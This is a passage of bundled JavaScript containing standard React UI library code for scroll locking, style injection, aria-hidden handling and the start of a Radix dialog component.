    var forwardProps = props.forwardProps, children = props.children, className = props.className, removeScrollBar = props.removeScrollBar, enabled = props.enabled, shards = props.shards, sideCar = props.sideCar, noIsolation = props.noIsolation, inert = props.inert, allowPinchZoom = props.allowPinchZoom, _b = props.as, Container = _b === void 0 ? 'div' : _b, rest = __rest(props, ["forwardProps", "children", "className", "removeScrollBar", "enabled", "shards", "sideCar", "noIsolation", "inert", "allowPinchZoom", "as"]);
    var SideCar = sideCar;
    var containerRef = useMergeRefs([ref, parentRef]);
    var containerProps = __assign(__assign({}, rest), callbacks);
    return (external_React_namespaceObject.createElement(external_React_namespaceObject.Fragment, null,
        enabled && (external_React_namespaceObject.createElement(SideCar, { sideCar: effectCar, removeScrollBar: removeScrollBar, shards: shards, noIsolation: noIsolation, inert: inert, setCallbacks: setCallbacks, allowPinchZoom: !!allowPinchZoom, lockRef: ref })),
        forwardProps ? (external_React_namespaceObject.cloneElement(external_React_namespaceObject.Children.only(children), __assign(__assign({}, containerProps), { ref: containerRef }))) : (external_React_namespaceObject.createElement(Container, __assign({}, containerProps, { className: className, ref: containerRef }), children))));
});
RemoveScroll.defaultProps = {
    enabled: true,
    removeScrollBar: true,
    inert: false,
};
RemoveScroll.classNames = {
    fullWidth: fullWidthClassName,
    zeroRight: zeroRightClassName,
};


;// ./node_modules/use-sidecar/dist/es2015/exports.js


var SideCar = function (_a) {
    var sideCar = _a.sideCar, rest = __rest(_a, ["sideCar"]);
    if (!sideCar) {
        throw new Error('Sidecar: please provide `sideCar` property to import the right car');
    }
    var Target = sideCar.read();
    if (!Target) {
        throw new Error('Sidecar medium not found');
    }
    return external_React_namespaceObject.createElement(Target, __assign({}, rest));
};
SideCar.isSideCarExport = true;
function exportSidecar(medium, exported) {
    medium.useMedium(exported);
    return SideCar;
}

;// ./node_modules/get-nonce/dist/es2015/index.js
var currentNonce;
var setNonce = function (nonce) {
    currentNonce = nonce;
};
var getNonce = function () {
    if (currentNonce) {
        return currentNonce;
    }
    if (true) {
        return __webpack_require__.nc;
    }
    return undefined;
};

;// ./node_modules/react-style-singleton/dist/es2015/singleton.js

function makeStyleTag() {
    if (!document)
        return null;
    var tag = document.createElement('style');
    tag.type = 'text/css';
    var nonce = getNonce();
    if (nonce) {
        tag.setAttribute('nonce', nonce);
    }
    return tag;
}
function injectStyles(tag, css) {
    // @ts-ignore
    if (tag.styleSheet) {
        // @ts-ignore
        tag.styleSheet.cssText = css;
    }
    else {
        tag.appendChild(document.createTextNode(css));
    }
}
function insertStyleTag(tag) {
    var head = document.head || document.getElementsByTagName('head')[0];
    head.appendChild(tag);
}
var stylesheetSingleton = function () {
    var counter = 0;
    var stylesheet = null;
    return {
        add: function (style) {
            if (counter == 0) {
                if ((stylesheet = makeStyleTag())) {
                    injectStyles(stylesheet, style);
                    insertStyleTag(stylesheet);
                }
            }
            counter++;
        },
        remove: function () {
            counter--;
            if (!counter && stylesheet) {
                stylesheet.parentNode && stylesheet.parentNode.removeChild(stylesheet);
                stylesheet = null;
            }
        },
    };
};

;// ./node_modules/react-style-singleton/dist/es2015/hook.js


/**
 * creates a hook to control style singleton
 * @see {@link styleSingleton} for a safer component version
 * @example
 * ```tsx
 * const useStyle = styleHookSingleton();
 * ///
 * useStyle('body { overflow: hidden}');
 */
var styleHookSingleton = function () {
    var sheet = stylesheetSingleton();
    return function (styles, isDynamic) {
        external_React_namespaceObject.useEffect(function () {
            sheet.add(styles);
            return function () {
                sheet.remove();
            };
        }, [styles && isDynamic]);
    };
};

;// ./node_modules/react-style-singleton/dist/es2015/component.js

/**
 * create a Component to add styles on demand
 * - styles are added when first instance is mounted
 * - styles are removed when the last instance is unmounted
 * - changing styles in runtime does nothing unless dynamic is set. But with multiple components that can lead to the undefined behavior
 */
var styleSingleton = function () {
    var useStyle = styleHookSingleton();
    var Sheet = function (_a) {
        var styles = _a.styles, dynamic = _a.dynamic;
        useStyle(styles, dynamic);
        return null;
    };
    return Sheet;
};

;// ./node_modules/react-style-singleton/dist/es2015/index.js




;// ./node_modules/react-remove-scroll-bar/dist/es2015/utils.js
var zeroGap = {
    left: 0,
    top: 0,
    right: 0,
    gap: 0,
};
var parse = function (x) { return parseInt(x || '', 10) || 0; };
var getOffset = function (gapMode) {
    var cs = window.getComputedStyle(document.body);
    var left = cs[gapMode === 'padding' ? 'paddingLeft' : 'marginLeft'];
    var top = cs[gapMode === 'padding' ? 'paddingTop' : 'marginTop'];
    var right = cs[gapMode === 'padding' ? 'paddingRight' : 'marginRight'];
    return [parse(left), parse(top), parse(right)];
};
var getGapWidth = function (gapMode) {
    if (gapMode === void 0) { gapMode = 'margin'; }
    if (typeof window === 'undefined') {
        return zeroGap;
    }
    var offsets = getOffset(gapMode);
    var documentWidth = document.documentElement.clientWidth;
    var windowWidth = window.innerWidth;
    return {
        left: offsets[0],
        top: offsets[1],
        right: offsets[2],
        gap: Math.max(0, windowWidth - documentWidth + offsets[2] - offsets[0]),
    };
};

;// ./node_modules/react-remove-scroll-bar/dist/es2015/component.js




var Style = styleSingleton();
var lockAttribute = 'data-scroll-locked';
// important tip - once we measure scrollBar width and remove them
// we could not repeat this operation
// thus we are using style-singleton - only the first "yet correct" style will be applied.
var getStyles = function (_a, allowRelative, gapMode, important) {
    var left = _a.left, top = _a.top, right = _a.right, gap = _a.gap;
    if (gapMode === void 0) { gapMode = 'margin'; }
    return "\n  .".concat(noScrollbarsClassName, " {\n   overflow: hidden ").concat(important, ";\n   padding-right: ").concat(gap, "px ").concat(important, ";\n  }\n  body[").concat(lockAttribute, "] {\n    overflow: hidden ").concat(important, ";\n    overscroll-behavior: contain;\n    ").concat([
        allowRelative && "position: relative ".concat(important, ";"),
        gapMode === 'margin' &&
            "\n    padding-left: ".concat(left, "px;\n    padding-top: ").concat(top, "px;\n    padding-right: ").concat(right, "px;\n    margin-left:0;\n    margin-top:0;\n    margin-right: ").concat(gap, "px ").concat(important, ";\n    "),
        gapMode === 'padding' && "padding-right: ".concat(gap, "px ").concat(important, ";"),
    ]
        .filter(Boolean)
        .join(''), "\n  }\n  \n  .").concat(zeroRightClassName, " {\n    right: ").concat(gap, "px ").concat(important, ";\n  }\n  \n  .").concat(fullWidthClassName, " {\n    margin-right: ").concat(gap, "px ").concat(important, ";\n  }\n  \n  .").concat(zeroRightClassName, " .").concat(zeroRightClassName, " {\n    right: 0 ").concat(important, ";\n  }\n  \n  .").concat(fullWidthClassName, " .").concat(fullWidthClassName, " {\n    margin-right: 0 ").concat(important, ";\n  }\n  \n  body[").concat(lockAttribute, "] {\n    ").concat(removedBarSizeVariable, ": ").concat(gap, "px;\n  }\n");
};
var getCurrentUseCounter = function () {
    var counter = parseInt(document.body.getAttribute(lockAttribute) || '0', 10);
    return isFinite(counter) ? counter : 0;
};
var useLockAttribute = function () {
    external_React_namespaceObject.useEffect(function () {
        document.body.setAttribute(lockAttribute, (getCurrentUseCounter() + 1).toString());
        return function () {
            var newCounter = getCurrentUseCounter() - 1;
            if (newCounter <= 0) {
                document.body.removeAttribute(lockAttribute);
            }
            else {
                document.body.setAttribute(lockAttribute, newCounter.toString());
            }
        };
    }, []);
};
/**
 * Removes page scrollbar and blocks page scroll when mounted
 */
var RemoveScrollBar = function (_a) {
    var noRelative = _a.noRelative, noImportant = _a.noImportant, _b = _a.gapMode, gapMode = _b === void 0 ? 'margin' : _b;
    useLockAttribute();
    /*
     gap will be measured on every component mount
     however it will be used only by the "first" invocation
     due to singleton nature of <Style
     */
    var gap = external_React_namespaceObject.useMemo(function () { return getGapWidth(gapMode); }, [gapMode]);
    return external_React_namespaceObject.createElement(Style, { styles: getStyles(gap, !noRelative, gapMode, !noImportant ? '!important' : '') });
};

;// ./node_modules/react-remove-scroll-bar/dist/es2015/index.js





;// ./node_modules/react-remove-scroll/dist/es2015/aggresiveCapture.js
var passiveSupported = false;
if (typeof window !== 'undefined') {
    try {
        var options = Object.defineProperty({}, 'passive', {
            get: function () {
                passiveSupported = true;
                return true;
            },
        });
        // @ts-ignore
        window.addEventListener('test', options, options);
        // @ts-ignore
        window.removeEventListener('test', options, options);
    }
    catch (err) {
        passiveSupported = false;
    }
}
var nonPassive = passiveSupported ? { passive: false } : false;

;// ./node_modules/react-remove-scroll/dist/es2015/handleScroll.js
var alwaysContainsScroll = function (node) {
    // textarea will always _contain_ scroll inside self. It only can be hidden
    return node.tagName === 'TEXTAREA';
};
var elementCanBeScrolled = function (node, overflow) {
    var styles = window.getComputedStyle(node);
    return (
    // not-not-scrollable
    styles[overflow] !== 'hidden' &&
        // contains scroll inside self
        !(styles.overflowY === styles.overflowX && !alwaysContainsScroll(node) && styles[overflow] === 'visible'));
};
var elementCouldBeVScrolled = function (node) { return elementCanBeScrolled(node, 'overflowY'); };
var elementCouldBeHScrolled = function (node) { return elementCanBeScrolled(node, 'overflowX'); };
var locationCouldBeScrolled = function (axis, node) {
    var current = node;
    do {
        // Skip over shadow root
        if (typeof ShadowRoot !== 'undefined' && current instanceof ShadowRoot) {
            current = current.host;
        }
        var isScrollable = elementCouldBeScrolled(axis, current);
        if (isScrollable) {
            var _a = getScrollVariables(axis, current), s = _a[1], d = _a[2];
            if (s > d) {
                return true;
            }
        }
        current = current.parentNode;
    } while (current && current !== document.body);
    return false;
};
var getVScrollVariables = function (_a) {
    var scrollTop = _a.scrollTop, scrollHeight = _a.scrollHeight, clientHeight = _a.clientHeight;
    return [
        scrollTop,
        scrollHeight,
        clientHeight,
    ];
};
var getHScrollVariables = function (_a) {
    var scrollLeft = _a.scrollLeft, scrollWidth = _a.scrollWidth, clientWidth = _a.clientWidth;
    return [
        scrollLeft,
        scrollWidth,
        clientWidth,
    ];
};
var elementCouldBeScrolled = function (axis, node) {
    return axis === 'v' ? elementCouldBeVScrolled(node) : elementCouldBeHScrolled(node);
};
var getScrollVariables = function (axis, node) {
    return axis === 'v' ? getVScrollVariables(node) : getHScrollVariables(node);
};
var getDirectionFactor = function (axis, direction) {
    /**
     * If the element's direction is rtl (right-to-left), then scrollLeft is 0 when the scrollbar is at its rightmost position,
     * and then increasingly negative as you scroll towards the end of the content.
     * @see https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollLeft
     */
    return axis === 'h' && direction === 'rtl' ? -1 : 1;
};
var handleScroll = function (axis, endTarget, event, sourceDelta, noOverscroll) {
    var directionFactor = getDirectionFactor(axis, window.getComputedStyle(endTarget).direction);
    var delta = directionFactor * sourceDelta;
    // find scrollable target
    var target = event.target;
    var targetInLock = endTarget.contains(target);
    var shouldCancelScroll = false;
    var isDeltaPositive = delta > 0;
    var availableScroll = 0;
    var availableScrollTop = 0;
    do {
        var _a = getScrollVariables(axis, target), position = _a[0], scroll_1 = _a[1], capacity = _a[2];
        var elementScroll = scroll_1 - capacity - directionFactor * position;
        if (position || elementScroll) {
            if (elementCouldBeScrolled(axis, target)) {
                availableScroll += elementScroll;
                availableScrollTop += position;
            }
        }
        target = target.parentNode;
    } while (
    // portaled content
    (!targetInLock && target !== document.body) ||
        // self content
        (targetInLock && (endTarget.contains(target) || endTarget === target)));
    if (isDeltaPositive && ((noOverscroll && availableScroll === 0) || (!noOverscroll && delta > availableScroll))) {
        shouldCancelScroll = true;
    }
    else if (!isDeltaPositive &&
        ((noOverscroll && availableScrollTop === 0) || (!noOverscroll && -delta > availableScrollTop))) {
        shouldCancelScroll = true;
    }
    return shouldCancelScroll;
};

;// ./node_modules/react-remove-scroll/dist/es2015/SideEffect.js






var getTouchXY = function (event) {
    return 'changedTouches' in event ? [event.changedTouches[0].clientX, event.changedTouches[0].clientY] : [0, 0];
};
var getDeltaXY = function (event) { return [event.deltaX, event.deltaY]; };
var extractRef = function (ref) {
    return ref && 'current' in ref ? ref.current : ref;
};
var deltaCompare = function (x, y) { return x[0] === y[0] && x[1] === y[1]; };
var generateStyle = function (id) { return "\n  .block-interactivity-".concat(id, " {pointer-events: none;}\n  .allow-interactivity-").concat(id, " {pointer-events: all;}\n"); };
var idCounter = 0;
var lockStack = [];
function RemoveScrollSideCar(props) {
    var shouldPreventQueue = external_React_namespaceObject.useRef([]);
    var touchStartRef = external_React_namespaceObject.useRef([0, 0]);
    var activeAxis = external_React_namespaceObject.useRef();
    var id = external_React_namespaceObject.useState(idCounter++)[0];
    var Style = external_React_namespaceObject.useState(function () { return styleSingleton(); })[0];
    var lastProps = external_React_namespaceObject.useRef(props);
    external_React_namespaceObject.useEffect(function () {
        lastProps.current = props;
    }, [props]);
    external_React_namespaceObject.useEffect(function () {
        if (props.inert) {
            document.body.classList.add("block-interactivity-".concat(id));
            var allow_1 = __spreadArray([props.lockRef.current], (props.shards || []).map(extractRef), true).filter(Boolean);
            allow_1.forEach(function (el) { return el.classList.add("allow-interactivity-".concat(id)); });
            return function () {
                document.body.classList.remove("block-interactivity-".concat(id));
                allow_1.forEach(function (el) { return el.classList.remove("allow-interactivity-".concat(id)); });
            };
        }
        return;
    }, [props.inert, props.lockRef.current, props.shards]);
    var shouldCancelEvent = external_React_namespaceObject.useCallback(function (event, parent) {
        if ('touches' in event && event.touches.length === 2) {
            return !lastProps.current.allowPinchZoom;
        }
        var touch = getTouchXY(event);
        var touchStart = touchStartRef.current;
        var deltaX = 'deltaX' in event ? event.deltaX : touchStart[0] - touch[0];
        var deltaY = 'deltaY' in event ? event.deltaY : touchStart[1] - touch[1];
        var currentAxis;
        var target = event.target;
        var moveDirection = Math.abs(deltaX) > Math.abs(deltaY) ? 'h' : 'v';
        // allow horizontal touch move on Range inputs. They will not cause any scroll
        if ('touches' in event && moveDirection === 'h' && target.type === 'range') {
            return false;
        }
        var canBeScrolledInMainDirection = locationCouldBeScrolled(moveDirection, target);
        if (!canBeScrolledInMainDirection) {
            return true;
        }
        if (canBeScrolledInMainDirection) {
            currentAxis = moveDirection;
        }
        else {
            currentAxis = moveDirection === 'v' ? 'h' : 'v';
            canBeScrolledInMainDirection = locationCouldBeScrolled(moveDirection, target);
            // other axis might be not scrollable
        }
        if (!canBeScrolledInMainDirection) {
            return false;
        }
        if (!activeAxis.current && 'changedTouches' in event && (deltaX || deltaY)) {
            activeAxis.current = currentAxis;
        }
        if (!currentAxis) {
            return true;
        }
        var cancelingAxis = activeAxis.current || currentAxis;
        return handleScroll(cancelingAxis, parent, event, cancelingAxis === 'h' ? deltaX : deltaY, true);
    }, []);
    var shouldPrevent = external_React_namespaceObject.useCallback(function (_event) {
        var event = _event;
        if (!lockStack.length || lockStack[lockStack.length - 1] !== Style) {
            // not the last active
            return;
        }
        var delta = 'deltaY' in event ? getDeltaXY(event) : getTouchXY(event);
        var sourceEvent = shouldPreventQueue.current.filter(function (e) { return e.name === event.type && e.target === event.target && deltaCompare(e.delta, delta); })[0];
        // self event, and should be canceled
        if (sourceEvent && sourceEvent.should) {
            if (event.cancelable) {
                event.preventDefault();
            }
            return;
        }
        // outside or shard event
        if (!sourceEvent) {
            var shardNodes = (lastProps.current.shards || [])
                .map(extractRef)
                .filter(Boolean)
                .filter(function (node) { return node.contains(event.target); });
            var shouldStop = shardNodes.length > 0 ? shouldCancelEvent(event, shardNodes[0]) : !lastProps.current.noIsolation;
            if (shouldStop) {
                if (event.cancelable) {
                    event.preventDefault();
                }
            }
        }
    }, []);
    var shouldCancel = external_React_namespaceObject.useCallback(function (name, delta, target, should) {
        var event = { name: name, delta: delta, target: target, should: should };
        shouldPreventQueue.current.push(event);
        setTimeout(function () {
            shouldPreventQueue.current = shouldPreventQueue.current.filter(function (e) { return e !== event; });
        }, 1);
    }, []);
    var scrollTouchStart = external_React_namespaceObject.useCallback(function (event) {
        touchStartRef.current = getTouchXY(event);
        activeAxis.current = undefined;
    }, []);
    var scrollWheel = external_React_namespaceObject.useCallback(function (event) {
        shouldCancel(event.type, getDeltaXY(event), event.target, shouldCancelEvent(event, props.lockRef.current));
    }, []);
    var scrollTouchMove = external_React_namespaceObject.useCallback(function (event) {
        shouldCancel(event.type, getTouchXY(event), event.target, shouldCancelEvent(event, props.lockRef.current));
    }, []);
    external_React_namespaceObject.useEffect(function () {
        lockStack.push(Style);
        props.setCallbacks({
            onScrollCapture: scrollWheel,
            onWheelCapture: scrollWheel,
            onTouchMoveCapture: scrollTouchMove,
        });
        document.addEventListener('wheel', shouldPrevent, nonPassive);
        document.addEventListener('touchmove', shouldPrevent, nonPassive);
        document.addEventListener('touchstart', scrollTouchStart, nonPassive);
        return function () {
            lockStack = lockStack.filter(function (inst) { return inst !== Style; });
            document.removeEventListener('wheel', shouldPrevent, nonPassive);
            document.removeEventListener('touchmove', shouldPrevent, nonPassive);
            document.removeEventListener('touchstart', scrollTouchStart, nonPassive);
        };
    }, []);
    var removeScrollBar = props.removeScrollBar, inert = props.inert;
    return (external_React_namespaceObject.createElement(external_React_namespaceObject.Fragment, null,
        inert ? external_React_namespaceObject.createElement(Style, { styles: generateStyle(id) }) : null,
        removeScrollBar ? external_React_namespaceObject.createElement(RemoveScrollBar, { gapMode: "margin" }) : null));
}

;// ./node_modules/react-remove-scroll/dist/es2015/sidecar.js



/* harmony default export */ const sidecar = (exportSidecar(effectCar, RemoveScrollSideCar));

;// ./node_modules/react-remove-scroll/dist/es2015/Combination.js




var ReactRemoveScroll = external_React_namespaceObject.forwardRef(function (props, ref) { return (external_React_namespaceObject.createElement(RemoveScroll, __assign({}, props, { ref: ref, sideCar: sidecar }))); });
ReactRemoveScroll.classNames = RemoveScroll.classNames;
/* harmony default export */ const Combination = (ReactRemoveScroll);

;// ./node_modules/aria-hidden/dist/es2015/index.js
var getDefaultParent = function (originalTarget) {
    if (typeof document === 'undefined') {
        return null;
    }
    var sampleTarget = Array.isArray(originalTarget) ? originalTarget[0] : originalTarget;
    return sampleTarget.ownerDocument.body;
};
var counterMap = new WeakMap();
var uncontrolledNodes = new WeakMap();
var markerMap = {};
var lockCount = 0;
var unwrapHost = function (node) {
    return node && (node.host || unwrapHost(node.parentNode));
};
var correctTargets = function (parent, targets) {
    return targets
        .map(function (target) {
        if (parent.contains(target)) {
            return target;
        }
        var correctedTarget = unwrapHost(target);
        if (correctedTarget && parent.contains(correctedTarget)) {
            return correctedTarget;
        }
        console.error('aria-hidden', target, 'in not contained inside', parent, '. Doing nothing');
        return null;
    })
        .filter(function (x) { return Boolean(x); });
};
/**
 * Marks everything except given node(or nodes) as aria-hidden
 * @param {Element | Element[]} originalTarget - elements to keep on the page
 * @param [parentNode] - top element, defaults to document.body
 * @param {String} [markerName] - a special attribute to mark every node
 * @param {String} [controlAttribute] - html Attribute to control
 * @return {Undo} undo command
 */
var applyAttributeToOthers = function (originalTarget, parentNode, markerName, controlAttribute) {
    var targets = correctTargets(parentNode, Array.isArray(originalTarget) ? originalTarget : [originalTarget]);
    if (!markerMap[markerName]) {
        markerMap[markerName] = new WeakMap();
    }
    var markerCounter = markerMap[markerName];
    var hiddenNodes = [];
    var elementsToKeep = new Set();
    var elementsToStop = new Set(targets);
    var keep = function (el) {
        if (!el || elementsToKeep.has(el)) {
            return;
        }
        elementsToKeep.add(el);
        keep(el.parentNode);
    };
    targets.forEach(keep);
    var deep = function (parent) {
        if (!parent || elementsToStop.has(parent)) {
            return;
        }
        Array.prototype.forEach.call(parent.children, function (node) {
            if (elementsToKeep.has(node)) {
                deep(node);
            }
            else {
                try {
                    var attr = node.getAttribute(controlAttribute);
                    var alreadyHidden = attr !== null && attr !== 'false';
                    var counterValue = (counterMap.get(node) || 0) + 1;
                    var markerValue = (markerCounter.get(node) || 0) + 1;
                    counterMap.set(node, counterValue);
                    markerCounter.set(node, markerValue);
                    hiddenNodes.push(node);
                    if (counterValue === 1 && alreadyHidden) {
                        uncontrolledNodes.set(node, true);
                    }
                    if (markerValue === 1) {
                        node.setAttribute(markerName, 'true');
                    }
                    if (!alreadyHidden) {
                        node.setAttribute(controlAttribute, 'true');
                    }
                }
                catch (e) {
                    console.error('aria-hidden: cannot operate on ', node, e);
                }
            }
        });
    };
    deep(parentNode);
    elementsToKeep.clear();
    lockCount++;
    return function () {
        hiddenNodes.forEach(function (node) {
            var counterValue = counterMap.get(node) - 1;
            var markerValue = markerCounter.get(node) - 1;
            counterMap.set(node, counterValue);
            markerCounter.set(node, markerValue);
            if (!counterValue) {
                if (!uncontrolledNodes.has(node)) {
                    node.removeAttribute(controlAttribute);
                }
                uncontrolledNodes.delete(node);
            }
            if (!markerValue) {
                node.removeAttribute(markerName);
            }
        });
        lockCount--;
        if (!lockCount) {
            // clear
            counterMap = new WeakMap();
            counterMap = new WeakMap();
            uncontrolledNodes = new WeakMap();
            markerMap = {};
        }
    };
};
/**
 * Marks everything except given node(or nodes) as aria-hidden
 * @param {Element | Element[]} originalTarget - elements to keep on the page
 * @param [parentNode] - top element, defaults to document.body
 * @param {String} [markerName] - a special attribute to mark every node
 * @return {Undo} undo command
 */
var hideOthers = function (originalTarget, parentNode, markerName) {
    if (markerName === void 0) { markerName = 'data-aria-hidden'; }
    var targets = Array.from(Array.isArray(originalTarget) ? originalTarget : [originalTarget]);
    var activeParentNode = parentNode || getDefaultParent(originalTarget);
    if (!activeParentNode) {
        return function () { return null; };
    }
    // we should not hide ariaLive elements - https://github.com/theKashey/aria-hidden/issues/10
    targets.push.apply(targets, Array.from(activeParentNode.querySelectorAll('[aria-live]')));
    return applyAttributeToOthers(targets, activeParentNode, markerName, 'aria-hidden');
};
/**
 * Marks everything except given node(or nodes) as inert
 * @param {Element | Element[]} originalTarget - elements to keep on the page
 * @param [parentNode] - top element, defaults to document.body
 * @param {String} [markerName] - a special attribute to mark every node
 * @return {Undo} undo command
 */
var inertOthers = function (originalTarget, parentNode, markerName) {
    if (markerName === void 0) { markerName = 'data-inert-ed'; }
    var activeParentNode = parentNode || getDefaultParent(originalTarget);
    if (!activeParentNode) {
        return function () { return null; };
    }
    return applyAttributeToOthers(originalTarget, activeParentNode, markerName, 'inert');
};
/**
 * @returns if current browser supports inert
 */
var supportsInert = function () {
    return typeof HTMLElement !== 'undefined' && HTMLElement.prototype.hasOwnProperty('inert');
};
/**
 * Automatic function to "suppress" DOM elements - _hide_ or _inert_ in the best possible way
 * @param {Element | Element[]} originalTarget - elements to keep on the page
 * @param [parentNode] - top element, defaults to document.body
 * @param {String} [markerName] - a special attribute to mark every node
 * @return {Undo} undo command
 */
var suppressOthers = function (originalTarget, parentNode, markerName) {
    if (markerName === void 0) { markerName = 'data-suppressed'; }
    return (supportsInert() ? inertOthers : hideOthers)(originalTarget, parentNode, markerName);
};

;// ./node_modules/@radix-ui/react-dialog/dist/index.mjs

































/* -------------------------------------------------------------------------------------------------
 * Dialog
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$DIALOG_NAME = 'Dialog';
const [$5d3850c4d0b4e6c7$var$createDialogContext, $5d3850c4d0b4e6c7$export$cc702773b8ea3e41] = $c512c27ab02ef895$export$50c7b4e9d9f19c1($5d3850c4d0b4e6c7$var$DIALOG_NAME);
const [$5d3850c4d0b4e6c7$var$DialogProvider, $5d3850c4d0b4e6c7$var$useDialogContext] = $5d3850c4d0b4e6c7$var$createDialogContext($5d3850c4d0b4e6c7$var$DIALOG_NAME);
const $5d3850c4d0b4e6c7$export$3ddf2d174ce01153 = (props)=>{
    const { __scopeDialog: __scopeDialog , children: children , open: openProp , defaultOpen: defaultOpen , onOpenChange: onOpenChange , modal: modal = true  } = props;
    const triggerRef = (0,external_React_namespaceObject.useRef)(null);
    const contentRef = (0,external_React_namespaceObject.useRef)(null);
    const [open = false, setOpen] = $71cd76cc60e0454e$export$6f32135080cb4c3({
        prop: openProp,
        defaultProp: defaultOpen,
        onChange: onOpenChange
    });
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogProvider, {
        scope: __scopeDialog,
        triggerRef: triggerRef,
        contentRef: contentRef,
        contentId: $1746a345f3d73bb7$export$f680877a34711e37(),
        titleId: $1746a345f3d73bb7$export$f680877a34711e37(),
        descriptionId: $1746a345f3d73bb7$export$f680877a34711e37(),
        open: open,
        onOpenChange: setOpen,
        onOpenToggle: (0,external_React_namespaceObject.useCallback)(()=>setOpen((prevOpen)=>!prevOpen
            )
        , [
            setOpen
        ]),
        modal: modal
    }, children);
};
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$3ddf2d174ce01153, {
    displayName: $5d3850c4d0b4e6c7$var$DIALOG_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DialogTrigger
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$TRIGGER_NAME = 'DialogTrigger';
const $5d3850c4d0b4e6c7$export$2e1e1122cf0cba88 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , ...triggerProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$TRIGGER_NAME, __scopeDialog);
    const composedTriggerRef = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, context.triggerRef);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.button, _extends({
        type: "button",
        "aria-haspopup": "dialog",
        "aria-expanded": context.open,
        "aria-controls": context.contentId,
        "data-state": $5d3850c4d0b4e6c7$var$getState(context.open)
    }, triggerProps, {
        ref: composedTriggerRef,
        onClick: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onClick, context.onOpenToggle)
    }));
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$2e1e1122cf0cba88, {
    displayName: $5d3850c4d0b4e6c7$var$TRIGGER_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DialogPortal
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$PORTAL_NAME = 'DialogPortal';
const [$5d3850c4d0b4e6c7$var$PortalProvider, $5d3850c4d0b4e6c7$var$usePortalContext] = $5d3850c4d0b4e6c7$var$createDialogContext($5d3850c4d0b4e6c7$var$PORTAL_NAME, {
    forceMount: undefined
});
const $5d3850c4d0b4e6c7$export$dad7c95542bacce0 = (props)=>{
    const { __scopeDialog: __scopeDialog , forceMount: forceMount , children: children , container: container  } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$PORTAL_NAME, __scopeDialog);
    return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$PortalProvider, {
        scope: __scopeDialog,
        forceMount: forceMount
    }, external_React_namespaceObject.Children.map(children, (child)=>/*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, {
            present: forceMount || context.open
        }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($f1701beae083dbae$export$602eac185826482c, {
            asChild: true,
            container: container
        }, child))
    ));
};
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$dad7c95542bacce0, {
    displayName: $5d3850c4d0b4e6c7$var$PORTAL_NAME
});
/* -------------------------------------------------------------------------------------------------
 * DialogOverlay
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$OVERLAY_NAME = 'DialogOverlay';
const $5d3850c4d0b4e6c7$export$bd1d06c79be19e17 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const portalContext = $5d3850c4d0b4e6c7$var$usePortalContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, props.__scopeDialog);
    const { forceMount: forceMount = portalContext.forceMount , ...overlayProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, props.__scopeDialog);
    return context.modal ? /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($921a889cee6df7e8$export$99c2b779aa4e8b8b, {
        present: forceMount || context.open
    }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($5d3850c4d0b4e6c7$var$DialogOverlayImpl, _extends({}, overlayProps, {
        ref: forwardedRef
    }))) : null;
});
/*#__PURE__*/ Object.assign($5d3850c4d0b4e6c7$export$bd1d06c79be19e17, {
    displayName: $5d3850c4d0b4e6c7$var$OVERLAY_NAME
});
const $5d3850c4d0b4e6c7$var$DialogOverlayImpl = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const { __scopeDialog: __scopeDialog , ...overlayProps } = props;
    const context = $5d3850c4d0b4e6c7$var$useDialogContext($5d3850c4d0b4e6c7$var$OVERLAY_NAME, __scopeDialog);
    return(/*#__PURE__*/ // Make sure `Content` is scrollable even when it doesn't live inside `RemoveScroll`
    // ie. when `Overlay` and `Content` are siblings
    (0,external_React_namespaceObject.createElement)(Combination, {
        as: $5e63c961fc1ce211$export$8c6ed5c666ac1360,
        allowPinchZoom: true,
        shards: [
            context.contentRef
        ]
    }, /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({
        "data-state": $5d3850c4d0b4e6c7$var$getState(context.open)
    }, overlayProps, {
        ref: forwardedRef // We re-enable pointer-events prevented by `Dialog.Content` to allow scrolling the overlay.
        ,
        style: {
            pointerEvents: 'auto',
            ...overlayProps.style
        }
    }))));
});
/* -------------------------------------------------------------------------------------------------
 * DialogContent
 * -----------------------------------------------------------------------------------------------*/ const $5d3850c4d0b4e6c7$var$CONTENT_NAME = 'DialogContent';
const $5d3850c4d0b4e6c7$export$b6d9565de1e068cf = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{
    const portalContext = $5d3850c4d0b4e6c7$var$usePortalContext($5d3850c4d0b4e6c7$var$CONTENT_NAME, props.__scopeDialog);
